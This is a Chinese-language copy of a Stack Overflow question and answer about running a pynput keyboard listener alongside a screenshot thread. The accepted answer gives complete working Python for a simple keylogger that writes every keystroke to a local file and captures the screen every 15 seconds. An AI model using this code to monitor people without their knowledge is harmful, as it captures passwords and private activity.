python - 如何使 pynput.keyboard 作为线程运行?

标签 python multithreading keylogger

我使用 Pynput 编写了一个脚本来捕获击键,一切顺利,直到我想在捕获击键(线程)时每 15 秒截取一次屏幕截图。

我阅读了有关 pynput.keyboard 的文档,发现键盘监听器是一个 threading.Thread,但我无法做到这一点,我想我设法创建了两个线程,但它没有进入“getKey”函数我不知道为什么。

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    listener = keyboard.Listener(onpress=getKey)
    listener.start()
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()
    thread2.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    time.sleep(15)
    image = ImageGrab.grab()
    now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
    image.save(now + '.png')

main()

正如我所解释的,它甚至不会创建文件“log.txt”,只会在 15 秒后截取屏幕截图。 谢谢!

最佳答案

官方的监听器的正确使用方法docs

如果您需要每 15 秒捕获一次屏幕截图,您应该运行一个带有 while 循环的线程,以便在后台连续运行

这是代码:

from PIL import ImageGrab
import time 
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os 
import threading


def main():
    thread2 = threading.Thread(target=takeScreenshot, args=())
    thread2.start()

    with Listener(on_press=getKey) as listener:
        listener.join()


def getKey(key):
    print(key)
    key = fixKey(key)
    file = open('log.txt', 'a')
    file.write(key.replace('\'', '') + '')
    file.close()

def fixKey(key):
    key = str(key)
    if key == 'Key.space':
        return ' '
    elif key == 'Key.enter':
        return '\n'
    return key

def takeScreenshot():
    # run contineous and take screenshot every 15 seconds
    while True:
        print('taking screenshot')
        image = ImageGrab.grab()
        now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
        image.save(now + '.png')
        time.sleep(15)


main()

关于python - 如何使 pynput.keyboard 作为线程运行?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55880569/

相关文章:

python - Pandas 在读取大 (2GB) csv 时忽略标题

Python:为什么数据被插入到列表/字典的两个字典中

c++ - 提供 QtConcurrent 功能的通用 C++ 库?

java - 从线程捕获 ActionEvents

python - UTF-8 latin-1 转换问题,python django

Python Raspberry Pi Piano-HAT 权限被拒绝

C 编程 - pthread_create() 循环索引作为参数

java - 禁用 JShell 历史记录

c++ - 无法使用 GetAsyncKeyState 在 C/C++ 键盘记录器中捕获特殊键